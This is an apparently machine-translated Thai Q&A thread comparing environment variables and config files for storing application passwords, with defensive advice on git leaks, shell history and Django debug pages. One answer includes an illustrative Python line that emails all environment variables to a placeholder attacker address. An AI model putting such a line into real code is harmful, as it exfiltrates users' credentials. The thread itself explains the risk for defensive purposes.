การจัดเก็บรหัสผ่านเป็นตัวแปรสภาพแวดล้อม (แทนที่จะเป็นข้อความธรรมดา) ในไฟล์กำหนดค่ามีความปลอดภัยหรือไม่


112

ฉันทำงานกับแอพบางตัวในราง django (และ php เล็กน้อย) และหนึ่งในสิ่งที่ฉันเริ่มทำในบางแอพคือการจัดเก็บฐานข้อมูลและรหัสผ่านอื่น ๆ เป็นตัวแปรสภาพแวดล้อมแทนที่จะเป็นข้อความธรรมดาในไฟล์กำหนดค่าบางไฟล์ ( หรือใน settings.py สำหรับแอป django)

ในการพูดคุยเรื่องนี้กับผู้ทำงานร่วมกันคนหนึ่งของฉันเขาแนะนำว่านี่เป็นแนวทางปฏิบัติที่ไม่ดีซึ่งบางทีอาจจะไม่ปลอดภัยเท่าที่ควรในตอนแรก

ดังนั้นฉันต้องการทราบ - นี่เป็นแนวทางปฏิบัติที่ปลอดภัยหรือไม่? การจัดเก็บรหัสผ่านเป็นข้อความธรรมดาในไฟล์เหล่านี้ปลอดภัยกว่าหรือไม่ (แน่นอนว่าอย่าทิ้งไฟล์เหล่านี้ไว้ใน repos สาธารณะหรืออะไรก็ตาม)

คำตอบ:


47

ในระดับทฤษฎีมากขึ้นฉันมักจะคิดถึงระดับความปลอดภัยในรูปแบบต่อไปนี้ (ตามลำดับที่เพิ่มขึ้น):

  • ไม่มีความปลอดภัย. ข้อความธรรมดา. ใครก็ตามที่รู้ว่าจะดูที่ไหนสามารถเข้าถึงข้อมูลได้
  • การรักษาความปลอดภัยโดย Obfuscation คุณเก็บข้อมูล (ข้อความธรรมดา) ไว้ในที่ที่ยุ่งยากเช่นตัวแปรสภาพแวดล้อมหรือในไฟล์ที่มีลักษณะเหมือนไฟล์คอนฟิกูเรชัน ในที่สุดผู้โจมตีจะรู้ว่าเกิดอะไรขึ้นหรือสะดุดลง
  • การรักษาความปลอดภัยที่มาจากการเข้ารหัสนั้นเป็นเรื่องเล็กน้อยที่จะทำลาย (คิดว่าซีซาร์ไซเฟอร์!)
  • การรักษาความปลอดภัยโดยการเข้ารหัสที่อาจถูกทำลายได้ด้วยความพยายามบางอย่าง
  • ความปลอดภัยมาจากการเข้ารหัสที่ไม่สามารถใช้งานได้จริงเพื่อทำลายฮาร์ดแวร์ปัจจุบัน
  • ระบบที่ปลอดภัยที่สุดคือระบบที่ไม่มีใครสามารถใช้ได้! :)

ตัวแปรสภาพแวดล้อมที่มีมากขึ้นปลอดภัยกว่าไฟล์ธรรมดาเพราะพวกเขามีความผันผวน / ทิ้งไม่รอด กล่าวคือถ้าคุณตั้งค่าเฉพาะตัวแปรสภาพแวดล้อมโลคัลเช่น "set pwd = อะไรก็ได้" จากนั้นเรียกใช้สคริปต์โดยมีบางสิ่งที่ออกจากเชลล์คำสั่งของคุณในตอนท้ายของสคริปต์ตัวแปรนั้นจะไม่มีอยู่อีกต่อไป กรณีของคุณอยู่ในสองข้อแรกซึ่งฉันว่าค่อนข้างไม่ปลอดภัย หากคุณกำลังจะทำเช่นนี้ฉันไม่แนะนำให้ใช้งานนอกเครือข่ายอินทราเน็ต / โฮมของคุณทันทีจากนั้นจึงใช้เพื่อการทดสอบเท่านั้น


1
ขึ้นอยู่กับระบบปฏิบัติการ - ในกรณีที่ดีที่สุดตัวแปรสภาพแวดล้อมมีความเสี่ยงเช่นเดียวกับไฟล์ข้อความธรรมดา แต่น่าจะแย่กว่า ด้วยไฟล์ข้อความธรรมดาคุณสามารถตั้งค่าสิทธิ์การอ่านบนไฟล์ / ไดเร็กทอรีเพื่อป้องกันได้ IIRC สำหรับตัวแปรสภาพแวดล้อมพวกมันอาศัยอยู่ในพื้นที่หน่วยความจำสำหรับกระบวนการเชลล์ดังนั้นแครกเกอร์ที่กล้าได้กล้าเสียสามารถสแกนพื้นที่นั้นเพื่อค้นหาพวกมัน
John Carter

2
รอสักครู่: หากคุณเก็บหนังสือรับรองไว้ในตัวแปรสภาพแวดล้อมพวกเขาจะต้องไปที่นั่นก่อน ไม่ว่าจะด้วยมือหรือตามสคริปต์ ในการเริ่มต้นซอฟต์แวร์ของคุณโดยอัตโนมัติฉันขอแนะนำสคริปต์ แต่เดาว่าคุณต้องเก็บไว้ในไฟล์ config (สำหรับตัวแปร env) อย่างไรก็ตาม ถ้าคุณไม่ได้ระบุค่าสำหรับตัวแปร env ด้วยมือฉันไม่เห็นความแตกต่างด้านความปลอดภัยของไฟล์ config
คณิตศาสตร์

61

ดังที่ได้กล่าวไว้ก่อนหน้านี้ทั้งสองวิธีไม่ได้ให้ "ความปลอดภัย" เพิ่มเติมใด ๆ เมื่อระบบของคุณถูกบุกรุก ฉันเชื่อว่าหนึ่งในเหตุผลที่ดีที่สุดในการสนับสนุนตัวแปรสภาพแวดล้อมคือการควบคุมเวอร์ชัน : ฉันเคยเห็นวิธีการกำหนดค่าฐานข้อมูลมากเกินไป ฯลฯ ถูกเก็บไว้โดยไม่ได้ตั้งใจในระบบควบคุมเวอร์ชันเช่น GIT เพื่อให้นักพัฒนารายอื่นทุกคนเห็น (และอ๊ะ! ฉันเช่นกัน ... ).

การไม่จัดเก็บรหัสผ่านของคุณในไฟล์ทำให้ไม่สามารถเก็บรหัสผ่านไว้ในระบบควบคุมเวอร์ชันได้


6
ทางเลือกที่สมเหตุสมผลในการไม่จัดเก็บการตั้งค่าคอนฟิกูเรชันลับในการควบคุมเวอร์ชันคือการจัดเก็บไว้ในที่เก็บการควบคุมเวอร์ชันหรือโปรเจ็กต์แยกจากที่เก็บสำหรับโค้ด
Kenny Evitt

1
@KennyEvitt ที่ยังคงทิ้งรหัสผ่านข้อความธรรมดาที่ไม่ปลอดภัยไว้ในตำแหน่งที่ใช้ร่วมกันซึ่งทุกคนที่มีสิทธิ์เข้าถึงที่เก็บจะสามารถค้นหาได้และไม่มีทางติดตามว่าใครเข้าถึงข้อมูลนั้นได้
FistOfFury

2
@FistOfFury แน่นอนทุกคนที่มีสิทธิ์เข้าถึงที่เก็บ ... สามารถเข้าถึงที่เก็บได้ จุดของการจัดเก็บความลับในที่เก็บแยกต่างหากคือเพื่อให้สามารถควบคุมการเข้าถึงความลับเหล่านั้นได้แตกต่างจากรหัส แต่ที่เก็บสามารถรักษาความปลอดภัยได้เช่นคุณสามารถจัดเก็บความลับที่เข้ารหัสไว้ใน 'ตำแหน่งที่แชร์' และคุณสามารถติดตามข้อมูลเกี่ยวกับการเข้าถึงที่เก็บในตำแหน่งที่แชร์ได้ แต่แน่นอนว่าการอนุญาตให้ทุกคนเข้าถึงข้อมูลหมายความว่าพวกเขาสามารถคัดลอกข้อมูลนั้นและเข้าถึงได้ตลอดเวลาในอนาคตโดยไม่มีข้อ จำกัด หรือการติดตาม
Kenny Evitt

2
เหตุผลที่ดีในการใช้โซลูชันการจัดการการกำหนดค่าที่ช่วยให้คุณจัดเก็บความลับที่เข้ารหัสแล้วแทนที่ในเทมเพลตการกำหนดค่าในเวลาแสดงผล Chef ได้เข้ารหัสถุงข้อมูล Ansible มีห้องใต้ดิน ฯลฯ
Brian Cline

1
สิ่งนี้เรียกว่า Privileged Access Management ซึ่งความลับจะถูกเก็บไว้ใน PAM Vault ส่วนกลางพร้อมการควบคุมการเข้าถึงที่ครอบคลุม รายการ Gartner บางผลิตภัณฑ์ดังกล่าว
Amit Naidu

45

เมื่อใดก็ตามที่คุณต้องจัดเก็บรหัสผ่านมันจะไม่ปลอดภัย ระยะเวลา ไม่มีวิธีใดในการจัดเก็บรหัสผ่านที่ไม่ได้เข้ารหัสอย่างปลอดภัย ขณะนี้ตัวแปรสภาพแวดล้อมใดเทียบกับไฟล์ config ที่ "ปลอดภัย" มากกว่าก็อาจเป็นที่ถกเถียงกันได้ IMHO หากระบบของคุณถูกบุกรุกไม่สำคัญว่าจะจัดเก็บไว้ที่ใดแฮกเกอร์ที่ขยันสามารถติดตามได้


12
สำหรับตัวแปรสภาพแวดล้อมฉันคาดหวังว่า unix ที่นี่ ... ตัวแปรสภาพแวดล้อมมีความปลอดภัยน้อยกว่าไฟล์ ทุกคนสามารถตรวจสอบสภาพแวดล้อมของกระบวนการที่กำลังทำงานอยู่ได้ แต่อย่างน้อยไฟล์ก็สามารถมี ACL ได้
Vatine

11
เนื่องจากนักพัฒนาซอฟต์แวร์ต้องจัดเก็บรหัสผ่านเหล่านี้จึงไม่ใช่คำตอบที่มีประโยชน์อย่างยิ่ง คุณแนะนำให้เขาเก็บไว้ที่ไหน?
Peter Nixey

2
@Vatine Places ที่เปิดเผยตัวแปรสภาพแวดล้อมก็มีสิทธิ์เช่นกัน ลองดูcat /proc/1/environตัวอย่าง
Chris Down

5
@Vatine จริงเหรอ? ฉันไม่เห็นสภาพแวดล้อมใด ๆ ps axeสำหรับกระบวนการไม่ได้เป็นเจ้าของฉันใน strace -e open ps axeแสดงว่าได้รับข้อมูลนี้/proc/[pid]/environซึ่งมีการบังคับใช้สิทธิ์ (ด้วยเหตุนี้จึงมีopen("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied))
Chris Down

5
ฮะ. ดูสิว่าปัญหาได้รับการแก้ไขแล้วในที่สุด (เคยเป็นเช่นนั้นpsและจะแสดงให้คุณเห็นสภาพแวดล้อมของทุกสิ่งอย่างมีความสุข)
Vatine

28

ขออภัยฉันมีตัวแทนไม่เพียงพอที่จะแสดงความคิดเห็น แต่ฉันต้องการเพิ่มด้วยว่าหากคุณไม่ระวังเชลล์ของคุณอาจจับรหัสผ่านนั้นในประวัติคำสั่งได้เช่นกัน ดังนั้นการดำเนินการบางอย่าง$ pwd=mypassword my_progด้วยตนเองจึงไม่ได้เป็นเพียงชั่วคราวอย่างที่คุณคาดหวัง


21
หากคุณเติมคำสั่ง env var + ทั้งตัวด้วยช่องว่างก็จะไม่ถูกเก็บไว้ในประวัติ
เฉด

ขอบคุณ @shadi เรียนรู้สิ่งใหม่ ๆ ทุกวัน! ฉันสงสัยว่าเป็นเชลล์เฉพาะ / ปิดง่ายหรือว่าเป็นสิ่งที่คาดหวังได้อย่างสม่ำเสมอ?
brianclements

4
อีกวิธีหนึ่งคือการใช้read -s MY_PASS_VARซึ่งจะป้องกันทั้งจากการค้นหาประวัติเชลล์และนักเล่นไหล่
MatrixManAtYrService

4
@brianclements ฉันต้องการเพิ่มคำสั่งที่นำหน้าด้วยช่องว่างจะใช้ได้เฉพาะเมื่อเชลล์ปัจจุบันHISTCONTROLถูกตั้งค่าเป็นignorespaceหรือignorebothดังนั้นในทางเทคนิคจึงสามารถเปิด / ปิดได้
โมเสส

15

ฉันคิดว่าเมื่อเป็นไปได้คุณควรจัดเก็บข้อมูลประจำตัวของคุณไว้ในไฟล์ gitignored ไม่ใช่เป็นตัวแปรสภาพแวดล้อม

สิ่งหนึ่งที่ควรพิจารณาเมื่อจัดเก็บหนังสือรับรองในตัวแปร ENV (สภาพแวดล้อม) เทียบกับไฟล์คือตัวแปร ENV สามารถตรวจสอบได้อย่างง่ายดายโดยไลบรารีหรือการอ้างอิงที่คุณใช้

สิ่งนี้สามารถทำได้โดยประสงค์ร้ายหรือไม่ ตัวอย่างเช่นผู้เขียนไลบรารีสามารถส่งอีเมลสแต็กเทรซพร้อมตัวแปร ENV ให้ตัวเองเพื่อทำการดีบัก (ไม่ใช่แนวทางปฏิบัติที่ดีที่สุด แต่สามารถทำได้)

หากข้อมูลรับรองของคุณอยู่ในไฟล์การเจาะลึกเข้าไปนั้นยากกว่ามาก

โดยเฉพาะให้คิดถึง npm ในโหนด สำหรับ NPM ไปดูที่ข้อมูลประจำตัวของคุณถ้าพวกเขาอยู่ใน ENV process.ENVเป็นเรื่องธรรมดาของการ หากในทางกลับกันพวกเขาอยู่ในไฟล์มันจะทำงานได้ดีกว่ามาก

ไม่ว่าไฟล์ข้อมูลรับรองของคุณจะได้รับการควบคุมเวอร์ชันหรือไม่เป็นคำถามแยกต่างหาก เวอร์ชันที่ไม่ควบคุมไฟล์ข้อมูลรับรองของคุณจะทำให้มีคนจำนวนน้อยลง นักพัฒนาทุกคนไม่จำเป็นต้องทราบข้อมูลรับรองการผลิต เนื่องจากสิ่งนี้เป็นไปตามหลักการของสิทธิพิเศษน้อยที่สุดฉันขอแนะนำให้คอมไพล์ละเว้นไฟล์ข้อมูลรับรองของคุณ


7
+1 สำหรับ "ผู้เขียนไลบรารีสามารถส่งอีเมลสแต็กเทรซพร้อมตัวแปร ENV ให้ตัวเองเพื่อแก้ไขข้อบกพร่อง" ไม่เคยคิดเกี่ยวกับสถานการณ์นี้
netishix

6

ขึ้นอยู่กับรูปแบบภัยคุกคามของคุณ

คุณกำลังพยายามป้องกันไม่ให้ผู้ใช้ของคุณโรยรหัสผ่านไปทั่วระบบไฟล์ที่พวกเขามีแนวโน้มที่จะถูกลืมและใช้งานไม่ถูกต้องใช่หรือไม่? ถ้าใช่แสดงว่าใช่เนื่องจากตัวแปรสภาพแวดล้อมมีความคงตัวน้อยกว่าไฟล์

คุณกำลังพยายามป้องกันสิ่งที่เป็นอันตรายที่กำหนดเป้าหมายโปรแกรมของคุณโดยตรงหรือไม่? ถ้าเป็นเช่นนั้นก็ไม่เนื่องจากตัวแปรสภาพแวดล้อมไม่มีการควบคุมการเข้าถึงในระดับเดียวกับที่ไฟล์ทำ

โดยส่วนตัวแล้วฉันคิดว่าผู้ใช้ที่ประมาทเป็นเรื่องธรรมดามากกว่าฝ่ายตรงข้ามที่มีแรงจูงใจดังนั้นฉันจึงใช้วิธีการเปลี่ยนแปลงสภาพแวดล้อม


1

AFAICT มีเหตุผลสองประการที่ผู้คนแนะนำให้เก็บความลับในตัวแปรสภาพแวดล้อม:

  1. ง่ายเกินไปที่จะส่งไฟล์แบนลับไปยัง repo โดยไม่ได้ตั้งใจ (และถ้าเป็น repo สาธารณะคุณจะต้องปิ้งขนมปัง)
  2. ป้องกันความยุ่งเหยิงของรหัสผ่านกล่าวคือการมีคีย์เดียวกันในไฟล์ไดเร็กทอรีโปรเจ็กต์ต่างๆนั้นถือเป็นความเสี่ยงด้านความปลอดภัยเนื่องจากในที่สุดนักพัฒนาจะไม่สามารถติดตามตำแหน่งที่เป็นความลับได้

ปัญหาทั้งสองนี้สามารถแก้ไขได้ด้วยวิธีที่ดีกว่า อดีตควรได้รับการแก้ไขโดย git คอมมิต hook ที่ตรวจสอบสิ่งที่ดูเหมือนรหัสผ่าน (เช่นgitleaks ) ฉันหวังว่า Linus จะสร้างเครื่องมือดังกล่าวลงในซอร์สโค้ดของไลบรารีคอมไพล์ แต่อนิจจาไม่ได้เกิดขึ้น (ไม่จำเป็นต้องพูดว่าควรเพิ่มไฟล์ลับไว้เสมอ.gitignoreแต่คุณต้องมีตะขอในกรณีที่มีคนลืมทำเช่นนั้น)

หลังสามารถแก้ไขได้โดยการมีไฟล์ความลับของ บริษัท ระดับโลกซึ่งเก็บไว้ในไดรฟ์ที่แชร์แบบอ่านอย่างเดียว ดังนั้นใน Python คุณอาจมีบางอย่างเช่นfrom company_secrets import *.

ที่สำคัญกว่านั้นตามที่ผู้อื่นชี้ให้เห็นการแฮ็คความลับที่เก็บไว้ในตัวแปรสภาพแวดล้อมนั้นง่ายเกินไป ตัวอย่างเช่นใน Python ผู้เขียนไลบรารีสามารถแทรกsend_email(address="evil.person@evil.com", text=json.dumps(os.environ))และจากนั้นคุณจะปิ้งถ้าคุณรันโค้ดนี้ ~/secret_company_stuff/.my_very_secret_company_stuffแฮ็คจะท้าทายมากขึ้นถ้าคุณมีไฟล์ในระบบของคุณเรียกว่า

เฉพาะผู้ใช้ Django:
Django (ในโหมด DEBUG) แสดงค่าดิบของตัวแปรสภาพแวดล้อมในเบราว์เซอร์หากมีข้อยกเว้น (ในโหมด DEBUG) สิ่งนี้ดูเหมือนจะไม่ปลอดภัยอย่างมากหากนักพัฒนาเผลอตั้งค่าDEBUG=Trueในการผลิต ในทางตรงกันข้าม Django ไมตัวแปรตั้งค่ารหัสผ่านทำให้งงงวยโดยการมองหาสตริงAPI, TOKEN, KEY, SECRET, PASSหรือSIGNATUREในกรอบของsettings.pyชื่อตัวแปรของไฟล์

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.